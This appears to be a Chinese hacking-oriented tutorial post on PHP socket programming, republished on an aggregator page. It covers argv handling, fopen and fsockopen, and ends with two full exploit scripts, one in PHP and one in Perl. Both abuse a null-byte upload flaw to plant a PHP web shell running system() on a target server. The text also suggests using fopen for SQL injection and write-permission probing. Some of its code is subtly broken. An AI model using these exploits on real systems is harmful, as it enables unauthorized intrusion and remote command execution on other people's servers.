PHP-SOCKETS讀書筆記

來源:互聯網
上載者:User
筆記 學習PHP2個月了,收穫挺多.但是與別人不同的是,我更喜歡SOCKET.PHP在SOCKET這方面的文章太少了.所以決定寫一系列PHP-SOCKET讀書筆記.一直從最基本寫到SOCKET_RAW.
執行個體+心得.執行個體將會有連接埠轉寄(突破防火牆),動網類型EXP,連接埠掃描,PHP後門,發包型EXP架構.由於學習緣故,每周只能寫一篇.現給出卷一.希望大家一起投入到PHP SHELL編程中來.


前言:

PHP是世界上最流行的指令碼語言之一。一直以來它在WEB編程中得到極廣泛的應用。我想說的是PHP不僅在WEB方面出色,在SHELL方面同樣出色。只是人們更習慣用PERL來編寫SHELL指令碼.這裡申明一下,本人不是PHP高手,接觸PHP不過幾個星期,這隻是一篇讀書筆記。有錯誤的地方請提出來。也可以給我MAIL,共同探討PHP。

前置知識:

PHP最吸引我的地方就是SOCKETS 擴充,事實上我會簡單的VB WINSOCK,完全能用VB寫一個常用的WINSOCK程式出來。但是我還是選擇了PHP。因為它是跨平台的。

PHP預設是不支援進階SOCKET的,只支援被“封裝”的fsockopen等幾個函數。SOCKET作為PHP的擴充,需要設定一下才能使其支援。在WINDOWS需要設定PHP。INI,在PHP。INI找;Windows Extensions這一行,去掉;extension=php_sockets.dll 前面的分號。THAT‘S OK。*NIX下則需要在編譯的時候加入-enable—sockets命令。在沒有使用DL()函數的時候,你的PHP必須和在同一目錄php_sockets.dll。好了,完成PHP SOCKET配置了。

下面就是啟動並執行問題了

在終端下運行PHP指令碼很簡單。WINDOWS下C:\php\php.exe –q test.php,*NIX下要在PHP檔案事先申明由PHP來執行,就像PERL一樣。像#!/usr/local/bin/php –q .,然後再來個./test.php。參數q的意思就是不輸出PHP標題資訊。

輸入參數問題:

有的人說,PHP SHELL如何輸入參數。在WEB的時候可以這樣輸入參數http://xxx.com/aa.php?參數1=XXXX&參數2=ssssss。沒關係PHP同PERL一樣,具有相似的參數功能。來看官方的描述

“argv”

傳遞給該指令碼的參數。當指令碼運行在命令列方式時,argv 變數傳遞給程式 C 語言樣式的命令列參數。當調用 GET 方法時,該變數包含請求的資料。

“argc”

包含傳遞給程式的命令列參數的個數(如果運行在命令列模式)。



呵呵,簡單的說。看我舉個例子

<?

if ($argc != 4 || in_array($argc[1] , array('--help','-h','?')))

{

echo "By Darkness[BST].We will come back soon!\r\n";

echo "------------------------------------------------\r\n";

echo "C:/PHP/PHP.exe -q uploadexp.php http://www.bugkidz.org/upload.php filepath\r\n";

echo "------------------------------------------------\r\n";

}

$host = $argv[1];

$url = $argv[2];

$path = $argv[3];

?>



我想你應該看懂了哦,這裡ARGC[0]是指的程式本身。也可以這樣來.

Printf(%s,$argv[1]); 前面一段談到命令列方式的運行。更多請參照
http://www.php.net/manual/zh/features.commandline.php


1.fopen的應用
fopen也可以被稱作被封裝的SOCKET函數。不僅用於檔案讀寫,還可以用於SOCKET。FOPEN相當於其他進階語言的INET控制項/類,較於FSOCKOPEN,他對於URL的操作更進階。

fopen的使用方法
$s = fopen ($url, mode);
fopen的MODE屬性:
mode 說明
'r' 唯讀方式開啟,將檔案指標指向檔案頭。
'r+' 讀寫方式開啟,將檔案指標指向檔案頭。
'w' 寫入方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。
'w+' 讀寫方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。
'a' 寫入方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。
'a+' 讀寫方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。
'x' 建立並以寫入方式開啟,將檔案指標指向檔案頭。如果檔案已存在,則 fopen() 調用失敗並返回 FALSE,並產生一條 E_WARNING 層級的錯誤資訊。如果檔案不存在則嘗試建立之。這和給 底層的 open(2) 系統調用指定 O_EXCL|O_CREAT 標記是等價的。此選項被 PHP 4.3.2 以及以後的版本所支援,僅能用於本地檔案。
'x+' 建立並以讀寫方式開啟,將檔案指標指向檔案頭。如果檔案已存在,則 fopen() 調用失敗並返回 FALSE,並產生一條 E_WARNING 層級的錯誤資訊。如果檔案不存在則嘗試建立之。這和給 底層的 open(2) 系統調用指定 O_EXCL|O_CREAT 標記是等價的。此選項被 PHP 4.3.2 以及以後的版本所支援,僅能用於本地檔案。


即用於本地檔案的操作,也可以用於INET。是不是很KOOL?
假如要測試一個站的IIS目錄是不是有寫入權限。
可以這樣寫
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在寫入權限”)
如果存在的話,你可以繼續構造下面的語句。用Fwrite 遠程寫入檔案。
但是一般的網站都是唯讀許可權的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
這樣就讀入了http://www.bugkidz.org/index.php?id=1的內容,但是還得經過處理才能擷取完整的檔案內容
這樣
while (!feof($s)) {
echo fgets($s, 1024);
}
我認為FOPEN用於SQL INJECTION是最方便不過的了。
function phpinet($url)
{
fopen($url,"r") or die("開啟URL錯誤");


while (!feof($s)) {
$cahe = fgets($s, 1024);
}

retrun $cahe;
fclose($s)
}


這段函數等同於VB中的inet.openurl

Fsockopen族函數的使用
fsockopen也是被封裝的一類socket函數.有點類似於VB中的winsock控制項.令人遺憾的是它支援主動socket串連,不支援bind,listen等,如果需要實現這些功能,則要使用PHP中的進階socket編程.即便是這樣,fsockopen函數也能滿足大多數的需求.
這樣使用fsockopen
resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])

例子:
$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);
前面2個是地址和連接埠,中間2個是有關錯誤的變數,最後就是timeout設定了.
通常$sock = fsockopen("192.168.0.1",80);這樣即可.
$sock = fsockopen("192.168.0.1",80);這是典型的TCP串連.UDP串連這樣來
$sock = fsockopen("udp://192.168.0.1",53);
用這個來寫一個TFTP的用戶端也是可以的.

fsockopen的應用執行個體:

執行個體一,簡單的HTTP會話.

代碼 

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
 $out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";

 fwrite($fp, $out);
 while (!feof($fp)) {
echo fgets($fp, 128);
 }
fclose($fp);
}
?>  



流程一般是這樣的
建立fsockopen 資源,定義發送內容,用fwrite函數或者fputs函數寫入定義內容,一行一行的輸出得到的內容,直到到達檔案末尾,fgets函數或者是fread使用.使用fclose關閉建立的fsockopen 資源.
ANGEL寫了一個PHP的連接埠掃描工具,貼出之
http://www.4ngel.net/article/20.htm

選擇fsockopen 來寫簡單EXP發送架構絕對是個goodidea.becoz it's so easy.
看我的PHP上傳漏洞的exp.

代碼 

<?php
#codz by Darkness MSN:Cqxy[at]21cn.net
$sock = fsockopen("www.ririririri.com",80);
if (!$sock)
{ echo "CANNOT CONNECT IT!";
}
$body = "-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<?php\r\n".
"system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";

$header ="POST /index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: strlen($body)\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n";
fputs($sock,$header);
sleep(1);

fputs($sock,$body);
while (!feof($sock))
{
echo fgets($sock,128);
}
fclose($sock);
?>  


再來看XIAOLU用PERL寫的exp

代碼 

#!/usr/bin/perl
$| = 1;
use Socket;
$host = "127.0.0.1";
$port = "80";

$UploadTo = "";
$str =
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<?php\r\n".
"system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";

print $str;
$len=length($str);
print $len;

$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n".
"$str\r\n\r\n";
print $req;
@res = sendraw($req);
print @res;

#Hmm...Maybe you can send it by other way


sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;

else {
die("Can't connect...\n");

}  



聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.